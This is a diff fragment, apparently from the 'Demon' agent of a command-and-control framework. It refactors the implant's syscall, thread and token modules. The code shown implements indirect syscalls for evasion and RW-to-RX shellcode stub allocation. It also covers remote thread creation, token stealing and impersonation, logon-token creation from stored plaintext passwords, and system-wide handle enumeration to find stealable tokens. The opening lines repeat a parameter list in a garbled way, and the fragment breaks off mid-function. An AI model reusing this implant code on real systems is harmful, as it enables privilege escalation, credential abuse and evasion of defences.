NTSTATUS NTAPI SysNtProtectVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN OUT PSIZE_T RegionSize,
_Inout_ PVOID* BaseAddress,
_Inout_ PSIZE_T RegionSize,
IN ULONG NewProtect,
OUT PULONG OldProtect
) {
@@ -1,8 +1,8 @@
#include <Demon.h>
#include <Common/Defines.h>
#include <Core/Syscalls.h>
#include <Core/Win32.h>
#include <common/Defines.h>
#include <core/Syscalls.h>
#include <core/Win32.h>
/*!
* Initialize syscall addr + ssn
@@ -27,7 +27,7 @@ BOOL SysInitialize(
/* check if we managed to resolve it */
if ( SysIndirectAddr ) {
Instance.Syscall.SysAddress = SysIndirectAddr;
Instance->Syscall.SysAddress = SysIndirectAddr;
} else {
PUTS_DONT_SEND( "Failed to resolve SysIndirectAddr" );
}
@@ -36,7 +36,7 @@ BOOL SysInitialize(
#if _M_IX86
if ( IsWoW64() )
{
Instance.Syscall.SysAddress = __readfsdword(0xC0);
Instance->Syscall.SysAddress = __readfsdword(0xC0);
}
#endif
@@ -1,10 +1,10 @@
#include <Demon.h>
#include <Common/Macros.h>
#include <Core/Thread.h>
#include <Core/MiniStd.h>
#include <Core/Memory.h>
#include <Core/SysNative.h>
#include <Core/Win32.h>
#include <common/Macros.h>
#include <core/Thread.h>
#include <core/MiniStd.h>
#include <core/Memory.h>
#include <core/SysNative.h>
#include <core/Win32.h>
/*!
* queries the NT_TIB from the specified leaked thread RSP address
@@ -32,7 +32,7 @@ BOOL ThreadQueryTib(
DWORD ThreadId = 0;
/* our current thread id */
ThreadId = U_PTR( Instance.Teb->ClientId.UniqueThread );
ThreadId = U_PTR( Instance->Teb->ClientId.UniqueThread );
ThdCtx.ContextFlags = CONTEXT_FULL;
/* iterate over current process threads */
@@ -67,7 +67,7 @@ BOOL ThreadQueryTib(
#if _WIN64
if ( NT_SUCCESS( SysNtQueryVirtualMemory( NtCurrentProcess(), C_PTR( ThdCtx.Rsp ), MemoryBasicInformation, &Memory1, sizeof( Memory1 ), NULL ) ) )
#else
if ( NT_SUCCESS( Instance.Win32.NtQueryVirtualMemory( NtCurrentProcess(), C_PTR( ThdCtx.Esp ), MemoryBasicInformation, &Memory1, sizeof( Memory1 ), NULL ) ) )
if ( NT_SUCCESS( Instance->Win32.NtQueryVirtualMemory( NtCurrentProcess(), C_PTR( ThdCtx.Esp ), MemoryBasicInformation, &Memory1, sizeof( Memory1 ), NULL ) ) )
#endif
{
/* query memory info about rsp address */
@@ -164,7 +164,7 @@ HANDLE ThreadCreateWoW64(
// allocate some memory for both shellcode stubs
Size = sizeof( migrate_executex64 ) + sizeof(migrate_wownativex);
if ( ! ( pExecuteX64 = MemoryAlloc( DX_MEM_DEFAULT, NtCurrentProcess(), Size, PAGE_READWRITE ) ) ) {
if ( ! ( pExecuteX64 = MmVirtualAlloc( DX_MEM_DEFAULT, NtCurrentProcess(), Size, PAGE_READWRITE ) ) ) {
PUTS( "Failed allocating RW for migrate_executex64 and migrate_wownativex" )
goto END;
}
@@ -177,7 +177,7 @@ HANDLE ThreadCreateWoW64(
MemCopy( pX64function, &migrate_wownativex, sizeof( migrate_wownativex ) );
// switch RW to RX
if ( ! ( MemoryProtect( DX_MEM_SYSCALL, NtCurrentProcess(), pExecuteX64, Size, PAGE_EXECUTE_READ ) ) ) {
if ( ! ( MmVirtualProtect( DX_MEM_SYSCALL, NtCurrentProcess(), pExecuteX64, Size, PAGE_EXECUTE_READ ) ) ) {
PUTS( "Failed to change memory protection" )
goto END;
}
@@ -206,7 +206,7 @@ HANDLE ThreadCreateWoW64(
END:
if ( pExecuteX64 ) {
MemoryFree( NtCurrentProcess(), pExecuteX64 );
MmVirtualFree( NtCurrentProcess(), pExecuteX64 );
}
return hThread;
@@ -238,7 +238,7 @@ HANDLE ThreadCreate(
}
case THREAD_METHOD_CREATEREMOTETHREAD: {
Thread = Instance.Win32.CreateRemoteThread( Process, NULL, 0, Entry, Arg, 0, ThreadId );
Thread = Instance->Win32.CreateRemoteThread( Process, NULL, 0, Entry, Arg, 0, ThreadId );
break;
}
@@ -261,7 +261,7 @@ HANDLE ThreadCreate(
}
} else {
PRINTF( "Failed to create new thread => NtStatus:[%x]\n", NtStatus );
NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
}
break;
@@ -1,11 +1,11 @@
#include <Demon.h>
#include <Common/Macros.h>
#include <common/Macros.h>
#include <Core/Token.h>
#include <Core/Win32.h>
#include <Core/Package.h>
#include <Core/MiniStd.h>
#include <core/Token.h>
#include <core/Win32.h>
#include <core/Package.h>
#include <core/MiniStd.h>
#include <ntstatus.h>
@@ -16,8 +16,8 @@
*
* Add it to the first token (parent):
*
* Token->Next = Instance.Tokens.Vault;
* Instance.Tokens.Vault = Token;
* Token->Next = Instance->Tokens.Vault;
* Instance->Tokens.Vault = Token;
*
* Might reduce some code which i care more than
* token order.
@@ -57,8 +57,8 @@ BOOL TokenDuplicate(
/* duplicate token using native call */
if ( ! NT_SUCCESS( NtStatus = SysNtDuplicateToken( TokenOriginal, Access, &ObjAttr, FALSE, TokenType, TokenNew ) ) ) {
NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
PRINTF( "NtDuplicateToken: Failed:[%08x : %ld]\n", NtStatus, Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
PRINTF( "NtDuplicateToken: Failed:[%08x : %ld]\n", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
return FALSE;
}
@@ -78,7 +78,7 @@ BOOL TokenRevSelf(
NTSTATUS NtStatus = STATUS_SUCCESS;
if ( ! NT_SUCCESS( NtStatus = SysNtSetInformationThread( NtCurrentThread(), ThreadImpersonationToken, &Token, sizeof( HANDLE ) ) ) ) {
NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
return FALSE;
}
@@ -123,7 +123,7 @@ BOOL TokenQueryOwner(
/* get the size for the TOKEN_USER struct */
if ( ! NT_SUCCESS( NtStatus = SysNtQueryInformationToken( Token, TokenUser, UserInfo, 0, &UserSize ) ) )
{
UserInfo = NtHeapAlloc( UserSize );
UserInfo = MmHeapAlloc( UserSize );
/* query the token user (we need the sid) */
if ( ! NT_SUCCESS( NtStatus = SysNtQueryInformationToken( Token, TokenUser, UserInfo, UserSize, &UserSize ) ) ) {
@@ -131,7 +131,7 @@ BOOL TokenQueryOwner(
}
/* now get the Username and Domain from the Sid */
if ( ! Instance.Win32.LookupAccountSidW( NULL, UserInfo->User.Sid, NULL, &UserLen, NULL, &DomnLen, &SidType ) )
if ( ! Instance->Win32.LookupAccountSidW( NULL, UserInfo->User.Sid, NULL, &UserLen, NULL, &DomnLen, &SidType ) )
{
SidType = 0;
@@ -144,21 +144,21 @@ BOOL TokenQueryOwner(
}
/* we allocate one buffer for specified owner flag */
UserDomain->Buffer = NtHeapAlloc( UserDomain->Length );
UserDomain->Buffer = MmHeapAlloc( UserDomain->Length );
Domain = UserDomain->Buffer;
User = ( UserDomain->Buffer + ( DomnLen * sizeof( WCHAR ) ) );
/* setup arguments */
if ( Flags == TOKEN_OWNER_FLAG_USER ) {
Domain = NtHeapAlloc( DomnLen * sizeof( WCHAR ) );
Domain = MmHeapAlloc( DomnLen * sizeof( WCHAR ) );
User = UserDomain->Buffer;
} else if ( Flags == TOKEN_OWNER_FLAG_DOMAIN ) {
User = NtHeapAlloc( UserLen * sizeof( WCHAR ) );
User = MmHeapAlloc( UserLen * sizeof( WCHAR ) );
}
/* now lets try to get the owner */
if ( ! Instance.Win32.LookupAccountSidW( NULL, UserInfo->User.Sid, User, &UserLen, Domain, &DomnLen, &SidType ) ) {
if ( ! Instance->Win32.LookupAccountSidW( NULL, UserInfo->User.Sid, User, &UserLen, Domain, &DomnLen, &SidType ) ) {
PRINTF( "LookupAccountSidW Error => %d\n", NtGetLastError() );
goto LEAVE;
}
@@ -209,7 +209,7 @@ BOOL TokenSetPrivilege(
NTSTATUS NtStatus = STATUS_SUCCESS;
HANDLE hToken = NULL;
if ( ! Instance.Win32.LookupPrivilegeValueA( NULL, Privilege, &TokenLUID ) ) {
if ( ! Instance->Win32.LookupPrivilegeValueA( NULL, Privilege, &TokenLUID ) ) {
PRINTF( "[-] LookupPrivilegeValue error: %u\n", NtGetLastError() );
return FALSE;
}
@@ -224,12 +224,12 @@ BOOL TokenSetPrivilege(
}
if ( NT_SUCCESS( NtStatus = SysNtOpenProcessToken( NtCurrentProcess( ), TOKEN_ALL_ACCESS, &hToken ) ) ) {
if ( ! Instance.Win32.AdjustTokenPrivileges( hToken, FALSE, &TokenPrivileges, 0, NULL, NULL ) ) {
if ( ! Instance->Win32.AdjustTokenPrivileges( hToken, FALSE, &TokenPrivileges, 0, NULL, NULL ) ) {
PRINTF( "[-] AdjustTokenPrivileges error: %u\n", NtGetLastError() );
return FALSE;
}
} else {
PRINTF( "NtOpenProcessToken: Failed [%d]", Instance.Win32.RtlNtStatusToDosError( NtStatus ) )
PRINTF( "NtOpenProcessToken: Failed [%d]", Instance->Win32.RtlNtStatusToDosError( NtStatus ) )
PACKAGE_ERROR_NTSTATUS( NtStatus )
return FALSE;
}
@@ -333,7 +333,7 @@ DWORD TokenAdd(
PTOKEN_LIST_DATA TokenEntry = NULL;
DWORD TokenIndex = 0;
TokenEntry = Instance.Win32.LocalAlloc( LPTR, sizeof( TOKEN_LIST_DATA ) );
TokenEntry = Instance->Win32.LocalAlloc( LPTR, sizeof( TOKEN_LIST_DATA ) );
TokenEntry->Handle = hToken;
TokenEntry->DomainUser = DomainUser;
TokenEntry->dwProcessID = dwProcessID;
@@ -343,12 +343,12 @@ DWORD TokenAdd(
TokenEntry->lpPassword = Password;
TokenEntry->NextToken = NULL;
if ( Instance.Tokens.Vault == NULL ) {
Instance.Tokens.Vault = TokenEntry;
if ( Instance->Tokens.Vault == NULL ) {
Instance->Tokens.Vault = TokenEntry;
return TokenIndex;
}
TokenList = Instance.Tokens.Vault;
TokenList = Instance->Tokens.Vault;
/* add TokenEntry to Token linked list */
while ( TokenList->NextToken != NULL ) {
@@ -397,8 +397,8 @@ BOOL SysDuplicateTokenEx(
DuplicateTokenHandle);
if ( ! NT_SUCCESS( NtStatus ) )
{
PRINTF( "NtDuplicateToken: Failed:[%08x : %ld]\n", NtStatus, Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
PRINTF( "NtDuplicateToken: Failed:[%08x : %ld]\n", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
return FALSE;
}
@@ -437,7 +437,7 @@ HANDLE TokenSteal(
}
else
{
PRINTF( "NtDuplicateObject: Failed:[%08x : %ld]\n", NtStatus, Instance.Win32.RtlNtStatusToDosError( NtStatus ) )
PRINTF( "NtDuplicateObject: Failed:[%08x : %ld]\n", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) )
PACKAGE_ERROR_NTSTATUS( NtStatus )
}
}
@@ -453,7 +453,7 @@ HANDLE TokenSteal(
}
else
{
PRINTF( "NtOpenProcessToken: Failed:[%08x : %ld]\n", NtStatus, Instance.Win32.RtlNtStatusToDosError( NtStatus ) )
PRINTF( "NtOpenProcessToken: Failed:[%08x : %ld]\n", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) )
PACKAGE_ERROR_NTSTATUS( NtStatus )
}
}
@@ -479,57 +479,57 @@ BOOL TokenRemove( DWORD TokenID )
PTOKEN_LIST_DATA TokenItem = NULL;
TokenItem = TokenGet( TokenID );
TokenList = Instance.Tokens.Vault;
TokenList = Instance->Tokens.Vault;
if ( ( ! TokenList ) || ( ! TokenItem ) )
return FALSE;
if ( Instance.Tokens.Vault == TokenItem )
if ( Instance->Tokens.Vault == TokenItem )
{
PUTS( "Its first item" )
TokenItem = Instance.Tokens.Vault->NextToken;
TokenItem = Instance->Tokens.Vault->NextToken;
if ( Instance.Tokens.Impersonate && Instance.Tokens.Token->Handle == Instance.Tokens.Vault->Handle )
if ( Instance->Tokens.Impersonate && Instance->Tokens.Token->Handle == Instance->Tokens.Vault->Handle )
TokenImpersonate( FALSE );
if ( Instance.Tokens.Vault->Handle )
if ( Instance->Tokens.Vault->Handle )
{
SysNtClose( Instance.Tokens.Vault->Handle );
Instance.Tokens.Vault->Handle = NULL;
SysNtClose( Instance->Tokens.Vault->Handle );
Instance->Tokens.Vault->Handle = NULL;
}
if ( Instance.Tokens.Vault->DomainUser )
if ( Instance->Tokens.Vault->DomainUser )
{
MemSet( Instance.Tokens.Vault->DomainUser, 0, StringLengthW( Instance.Tokens.Vault->DomainUser ) * sizeof( WCHAR ) );
Instance.Win32.LocalFree( Instance.Tokens.Vault->DomainUser );
Instance.Tokens.Vault->DomainUser = NULL;
MemSet( Instance->Tokens.Vault->DomainUser, 0, StringLengthW( Instance->Tokens.Vault->DomainUser ) * sizeof( WCHAR ) );
Instance->Win32.LocalFree( Instance->Tokens.Vault->DomainUser );
Instance->Tokens.Vault->DomainUser = NULL;
}
if ( Instance.Tokens.Vault->lpUser )
if ( Instance->Tokens.Vault->lpUser )
{
MemSet( Instance.Tokens.Vault->lpUser, 0, StringLengthW( Instance.Tokens.Vault->lpUser ) * sizeof( WCHAR ) );
Instance.Win32.LocalFree( Instance.Tokens.Vault->lpUser );
Instance.Tokens.Vault->lpUser = NULL;
MemSet( Instance->Tokens.Vault->lpUser, 0, StringLengthW( Instance->Tokens.Vault->lpUser ) * sizeof( WCHAR ) );
Instance->Win32.LocalFree( Instance->Tokens.Vault->lpUser );
Instance->Tokens.Vault->lpUser = NULL;
}
if ( Instance.Tokens.Vault->lpDomain )
if ( Instance->Tokens.Vault->lpDomain )
{
MemSet( Instance.Tokens.Vault->lpDomain, 0, StringLengthW( Instance.Tokens.Vault->lpUser ) * sizeof( WCHAR ) );
Instance.Win32.LocalFree( Instance.Tokens.Vault->lpDomain );
Instance.Tokens.Vault->lpDomain = NULL;
MemSet( Instance->Tokens.Vault->lpDomain, 0, StringLengthW( Instance->Tokens.Vault->lpDomain ) * sizeof( WCHAR ) );
Instance->Win32.LocalFree( Instance->Tokens.Vault->lpDomain );
Instance->Tokens.Vault->lpDomain = NULL;
}
if ( Instance.Tokens.Vault->lpPassword )
if ( Instance->Tokens.Vault->lpPassword )
{
MemSet( Instance.Tokens.Vault->lpPassword, 0, StringLengthW( Instance.Tokens.Vault->lpPassword ) * sizeof( WCHAR ) );
Instance.Win32.LocalFree( Instance.Tokens.Vault->lpPassword );
Instance.Tokens.Vault->lpPassword = NULL;
MemSet( Instance->Tokens.Vault->lpPassword, 0, StringLengthW( Instance->Tokens.Vault->lpPassword ) * sizeof( WCHAR ) );
Instance->Win32.LocalFree( Instance->Tokens.Vault->lpPassword );
Instance->Tokens.Vault->lpPassword = NULL;
}
MemSet( Instance.Tokens.Vault, 0, sizeof( TOKEN_LIST_DATA ) );
Instance.Win32.LocalFree( Instance.Tokens.Vault );
MemSet( Instance->Tokens.Vault, 0, sizeof( TOKEN_LIST_DATA ) );
Instance->Win32.LocalFree( Instance->Tokens.Vault );
Instance.Tokens.Vault = TokenItem;
Instance->Tokens.Vault = TokenItem;
return TRUE;
}
@@ -544,7 +544,7 @@ BOOL TokenRemove( DWORD TokenID )
TokenList->NextToken = TokenItem->NextToken;
if ( Instance.Tokens.Impersonate && Instance.Tokens.Token->Handle == TokenItem->Handle )
if ( Instance->Tokens.Impersonate && Instance->Tokens.Token->Handle == TokenItem->Handle )
TokenImpersonate( FALSE );
if ( TokenItem->Handle )
@@ -556,33 +556,33 @@ BOOL TokenRemove( DWORD TokenID )
if ( TokenItem->DomainUser )
{
MemSet( TokenItem->DomainUser, 0, StringLengthW( TokenItem->DomainUser ) * sizeof( WCHAR ) );
Instance.Win32.LocalFree( TokenItem->DomainUser );
Instance->Win32.LocalFree( TokenItem->DomainUser );
TokenItem->DomainUser = NULL;
}
if ( TokenItem->lpUser )
{
MemSet( TokenItem->lpUser, 0, StringLengthW( TokenItem->lpUser ) * sizeof( WCHAR ) );
Instance.Win32.LocalFree( TokenItem->lpUser );
Instance->Win32.LocalFree( TokenItem->lpUser );
TokenItem->lpUser = NULL;
}
if ( TokenItem->lpDomain )
{
MemSet( TokenItem->lpDomain, 0, StringLengthW( TokenItem->lpUser ) * sizeof( WCHAR ) );
Instance.Win32.LocalFree( TokenItem->lpDomain );
MemSet( TokenItem->lpDomain, 0, StringLengthW( TokenItem->lpDomain ) * sizeof( WCHAR ) );
Instance->Win32.LocalFree( TokenItem->lpDomain );
TokenItem->lpDomain = NULL;
}
if ( TokenItem->lpPassword )
{
MemSet( TokenItem->lpPassword, 0, StringLengthW( TokenItem->lpPassword ) * sizeof( WCHAR ) );
Instance.Win32.LocalFree( TokenItem->lpPassword );
Instance->Win32.LocalFree( TokenItem->lpPassword );
TokenItem->lpPassword = NULL;
}
MemSet( TokenItem, 0, sizeof( TOKEN_LIST_DATA ) );
Instance.Win32.LocalFree( TokenItem );
Instance->Win32.LocalFree( TokenItem );
TokenItem = NULL;
return TRUE;
@@ -595,11 +595,11 @@ BOOL TokenRemove( DWORD TokenID )
} while ( TRUE );
}
HANDLE TokenMake( LPWSTR User, LPWSTR Password, LPWSTR Domain )
HANDLE TokenMake( LPWSTR User, LPWSTR Password, LPWSTR Domain, DWORD LogonType )
{
HANDLE hToken = NULL;
PRINTF( "TokenMake( %ls, %ls, %ls )\n", User, Password, Domain )
PRINTF( "TokenMake( %ls, %ls, %ls, %d )\n", User, Password, Domain, LogonType )
if ( ! TokenRevSelf() )
{
@@ -608,7 +608,7 @@ HANDLE TokenMake( LPWSTR User, LPWSTR Password, LPWSTR Domain )
// TODO: at this point should I return NULL or just continue ? For now i just continue.
}
if ( ! Instance.Win32.LogonUserW( User, Domain, Password, LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_DEFAULT, &hToken ) )
if ( ! Instance->Win32.LogonUserW( User, Domain, Password, LogonType, LogonType == LOGON32_LOGON_NEW_CREDENTIALS ? LOGON32_PROVIDER_WINNT50 : LOGON32_PROVIDER_DEFAULT, &hToken ) )
{
PUTS( "LogonUserW: Failed" )
PACKAGE_ERROR_WIN32
@@ -631,15 +631,15 @@ HANDLE TokenCurrentHandle(
{
if ( NtStatus != STATUS_NO_TOKEN )
{
PRINTF( "NtOpenThreadToken: Failed:[%08x : %ld]\n", NtStatus, Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
PRINTF( "NtOpenThreadToken: Failed:[%08x : %ld]\n", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
return NULL;
}
if ( ! NT_SUCCESS( NtStatus = SysNtOpenProcessToken( NtCurrentProcess(), TOKEN_QUERY, &Token ) ) )
{
PRINTF( "NtOpenProcessToken: Failed:[%08x : %ld]\n", NtStatus, Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
PRINTF( "NtOpenProcessToken: Failed:[%08x : %ld]\n", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
return NULL;
}
}
@@ -664,7 +664,7 @@ BOOL TokenElevated(
PTOKEN_LIST_DATA TokenGet(
IN DWORD TokenID
) {
PTOKEN_LIST_DATA TokenList = Instance.Tokens.Vault;
PTOKEN_LIST_DATA TokenList = Instance->Tokens.Vault;
DWORD TokenIndex = 0;
for ( TokenIndex = 0; TokenIndex < TokenID && TokenList && TokenList->NextToken; ++TokenIndex ) {
@@ -681,7 +681,7 @@ PTOKEN_LIST_DATA TokenGet(
VOID TokenClear(
VOID
) {
PTOKEN_LIST_DATA TokenList = Instance.Tokens.Vault;
PTOKEN_LIST_DATA TokenList = Instance->Tokens.Vault;
DWORD TokenIndex = 0;
TokenImpersonate( FALSE );
@@ -695,35 +695,35 @@ VOID TokenClear(
TokenIndex++;
} while ( TRUE );
for ( int i = 0; i < TokenIndex; i++ ) {
TokenRemove( 0 );
for ( int i = TokenIndex - 1; i >= 0; i-- ) {
TokenRemove( i );
}
Instance.Tokens.Impersonate = FALSE;
Instance.Tokens.Vault = NULL;
Instance.Tokens.Token = NULL;
Instance->Tokens.Impersonate = FALSE;
Instance->Tokens.Vault = NULL;
Instance->Tokens.Token = NULL;
}
BOOL TokenImpersonate(
IN BOOL Impersonate
) {
if ( Impersonate && ! Instance.Tokens.Impersonate && Instance.Tokens.Token )
if ( Impersonate && ! Instance->Tokens.Impersonate && Instance->Tokens.Token )
{
// impersonate the current token.
Instance.Tokens.Impersonate = SysImpersonateLoggedOnUser( Instance.Tokens.Token->Handle );
return Instance.Tokens.Impersonate;
Instance->Tokens.Impersonate = SysImpersonateLoggedOnUser( Instance->Tokens.Token->Handle );
return Instance->Tokens.Impersonate;
}
else if ( ! Impersonate && Instance.Tokens.Impersonate ) {
else if ( ! Impersonate && Instance->Tokens.Impersonate ) {
{
// stop impersonating
Instance.Tokens.Impersonate = FALSE;
Instance->Tokens.Impersonate = FALSE;
return TokenRevSelf();
}
} else if ( Impersonate && ! Instance.Tokens.Token ) {
} else if ( Impersonate && ! Instance->Tokens.Token ) {
return TRUE; // there is no token to impersonate in the first place
} else if ( Impersonate && Instance.Tokens.Impersonate ) {
} else if ( Impersonate && Instance->Tokens.Impersonate ) {
return TRUE; // we are already impersonating
} else if ( ! Impersonate && ! Instance.Tokens.Impersonate ) {
} else if ( ! Impersonate && ! Instance->Tokens.Impersonate ) {
return TRUE; // we are already not impersonating
}
@@ -731,9 +731,9 @@ BOOL TokenImpersonate(
}
VOID AddUserToken(
IN OUT PUSER_TOKEN_DATA NewToken,
IN OUT PUSER_TOKEN_DATA Tokens,
IN OUT PDWORD NumTokens
_Inout_ PUSER_TOKEN_DATA NewToken,
_Inout_ PUSER_TOKEN_DATA Tokens,
_Inout_ PDWORD NumTokens
) {
for ( DWORD i = 0; i < *NumTokens; ++i )
{
@@ -775,11 +775,11 @@ BOOL IsImpersonationToken( HANDLE token )
LPVOID TokenImpersonationInfo = NULL;
DWORD returned_tokinfo_length = 0;
TokenImpersonationInfo = Instance.Win32.LocalAlloc( LPTR, BUF_SIZE );
TokenImpersonationInfo = Instance->Win32.LocalAlloc( LPTR, BUF_SIZE );
if ( ! TokenImpersonationInfo )
return FALSE;
if ( Instance.Win32.GetTokenInformation( token, TokenImpersonationLevel, TokenImpersonationInfo, BUF_SIZE, &returned_tokinfo_length ) )
if ( Instance->Win32.GetTokenInformation( token, TokenImpersonationLevel, TokenImpersonationInfo, BUF_SIZE, &returned_tokinfo_length ) )
{
if ( *( ( SECURITY_IMPERSONATION_LEVEL* ) TokenImpersonationInfo ) >= SecurityImpersonation )
ReturnValue = TRUE;
@@ -793,7 +793,7 @@ BOOL IsImpersonationToken( HANDLE token )
}
if ( TokenImpersonationInfo )
Instance.Win32.LocalFree( TokenImpersonationInfo );
Instance->Win32.LocalFree( TokenImpersonationInfo );
return ReturnValue;
}
@@ -809,7 +809,7 @@ BOOL CanTokenBeImpersonated( IN HANDLE hToken )
return FALSE;
// try to open a handle to the current token
Success = Instance.Win32.OpenThreadToken( NtCurrentThread(), MAXIMUM_ALLOWED, TRUE, &hImp );
Success = Instance->Win32.OpenThreadToken( NtCurrentThread(), MAXIMUM_ALLOWED, TRUE, &hImp );
TokenRevSelf();
@@ -833,8 +833,8 @@ VOID ProcessUserToken(
IN HANDLE handle,
IN BOOL CheckUsername,
IN PBUFFER CurrentUser,
IN OUT PUSER_TOKEN_DATA Tokens,
IN OUT PDWORD NumTokens)
_Inout_ PUSER_TOKEN_DATA Tokens,
_Inout_ PDWORD NumTokens)
{
USER_TOKEN_DATA NewToken = { 0 };
DWORD TokenType = 0;
@@ -885,7 +885,7 @@ BOOL QueryObjectTypesInfo( POBJECT_TYPES_INFORMATION* pObjectTypes, PULONG pObje
do
{
PrevBufferLength = BufferLength;
ObjTypeInformation = Instance.Win32.LocalAlloc( LPTR, BufferLength );
ObjTypeInformation = Instance->Win32.LocalAlloc( LPTR, BufferLength );
status = SysNtQueryObject(
NULL,
@@ -967,10 +967,10 @@ BOOL GetTokenInfo(
goto Cleanup;
}
Instance.Win32.GetTokenInformation( hToken, TokenStatistics, NULL, 0, &returned_tokinfo_length );
TokenStatisticsInformation = Instance.Win32.LocalAlloc( LPTR, returned_tokinfo_length );
Instance->Win32.GetTokenInformation( hToken, TokenStatistics, NULL, 0, &returned_tokinfo_length );
TokenStatisticsInformation = Instance->Win32.LocalAlloc( LPTR, returned_tokinfo_length );
if ( Instance.Win32.GetTokenInformation( hToken, TokenStatistics, TokenStatisticsInformation, returned_tokinfo_length, &returned_tokinfo_length ) )
if ( Instance->Win32.GetTokenInformation( hToken, TokenStatistics, TokenStatisticsInformation, returned_tokinfo_length, &returned_tokinfo_length ) )
{
// save the token type
*pTokenType = TokenStatisticsInformation->TokenType;
@@ -978,12 +978,12 @@ BOOL GetTokenInfo(
if ( TokenStatisticsInformation->TokenType == TokenPrimary )
{
// get the token integrity level
Instance.Win32.GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &cbSize );
TokenIntegrityInformation = Instance.Win32.LocalAlloc( LPTR, cbSize );
Instance->Win32.GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &cbSize );
TokenIntegrityInformation = Instance->Win32.LocalAlloc( LPTR, cbSize );
if ( Instance.Win32.GetTokenInformation( hToken, TokenIntegrityLevel, TokenIntegrityInformation, cbSize, &cbSize ) )
if ( Instance->Win32.GetTokenInformation( hToken, TokenIntegrityLevel, TokenIntegrityInformation, cbSize, &cbSize ) )
{
*pIntegrity = *Instance.Win32.GetSidSubAuthority(TokenIntegrityInformation->Label.Sid, (DWORD)(UCHAR)(*Instance.Win32.GetSidSubAuthorityCount(TokenIntegrityInformation->Label.Sid) - 1));
*pIntegrity = *Instance->Win32.GetSidSubAuthority(TokenIntegrityInformation->Label.Sid, (DWORD)(UCHAR)(*Instance->Win32.GetSidSubAuthorityCount(TokenIntegrityInformation->Label.Sid) - 1));
ReturnValue = TRUE;
}
else
@@ -994,10 +994,10 @@ BOOL GetTokenInfo(
else if (TokenStatisticsInformation->TokenType == TokenImpersonation)
{
// get the token impersonation level
Instance.Win32.GetTokenInformation( hToken, TokenImpersonationLevel, NULL, 0, &returned_tokimp_length );
TokenImpersonationInformation = Instance.Win32.LocalAlloc( LPTR, returned_tokimp_length );
Instance->Win32.GetTokenInformation( hToken, TokenImpersonationLevel, NULL, 0, &returned_tokimp_length );
TokenImpersonationInformation = Instance->Win32.LocalAlloc( LPTR, returned_tokimp_length );
if ( Instance.Win32.GetTokenInformation( hToken, TokenImpersonationLevel, TokenImpersonationInformation, returned_tokimp_length, &returned_tokimp_length ) )
if ( Instance->Win32.GetTokenInformation( hToken, TokenImpersonationLevel, TokenImpersonationInformation, returned_tokimp_length, &returned_tokimp_length ) )
{
*pImpersonationLevel = * ( ( SECURITY_IMPERSONATION_LEVEL * ) TokenImpersonationInformation );
ReturnValue = TRUE;
@@ -1042,7 +1042,7 @@ BOOL GetProcessesFromHandleTable( IN PSYSTEM_HANDLE_INFORMATION handleTableInfor
BOOL ret_val = FALSE;
PPROCESS_LIST process_list = NULL;
process_list = Instance.Win32.LocalAlloc( LPTR, sizeof(PROCESS_LIST) );
process_list = Instance->Win32.LocalAlloc( LPTR, sizeof(PROCESS_LIST) );
PSYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo;
for (ULONG i = 0; i < handleTableInformation->NumberOfHandles; i++)
@@ -1081,7 +1081,7 @@ BOOL GetAllHandles( OUT PSYSTEM_HANDLE_INFORMATION* phandle_table, OUT PULONG ph
ULONG prev_buffer_size = buffer_size;
PVOID handleTableInformation = NULL;
handleTableInformation = Instance.Win32.LocalAlloc( LPTR, buffer_size );
handleTableInformation = Instance->Win32.LocalAlloc( LPTR, buffer_size );
while (TRUE)
{
@@ -1096,7 +1096,7 @@ BOOL GetAllHandles( OUT PSYSTEM_HANDLE_INFORMATION* phandle_table, OUT PULONG ph
// the buffer was too small, buffer_size now has the new length
DATA_FREE( handleTableInformation, prev_buffer_size );
prev_buffer_size = buffer_size;
handleTableInformation = Instance.Win32.LocalAlloc( LPTR, buffer_size );
handleTableInformation = Instance->Win32.LocalAlloc( LPTR, buffer_size );
continue;
}
if ( ! NT_SUCCESS( status ) )
@@ -1172,7 +1172,7 @@ BOOL ListTokens( PUSER_TOKEN_DATA* pTokens, PDWORD pNumTokens )
goto Cleanup;
// allocate the USER_TOKEN_DATA table
Tokens = Instance.Win32.LocalAlloc( LPTR, BUF_SIZE * sizeof( USER_TOKEN_DATA ) );
Tokens = Instance->Win32.LocalAlloc( LPTR, BUF_SIZE * sizeof( USER_TOKEN_DATA ) );
if ( ! Tokens )
goto Cleanup;
@@ -1181,7 +1181,7 @@ BOOL ListTokens( PUSER_TOKEN_DATA* pTokens, PDWORD pNumTokens )
{
ProcessId = ProcessList->ProcessId[i];
if ( ProcessId == Instance.Session.PID )
if ( ProcessId == Instance->Session.PID )
continue;
if ( ProcessId == 0 )
continue;
@@ -1297,7 +1297,7 @@ BOOL SysImpersonateLoggedOnUser( HANDLE hToken )
&ReturnLength);
if ( ! NT_SUCCESS( Status ) )
{
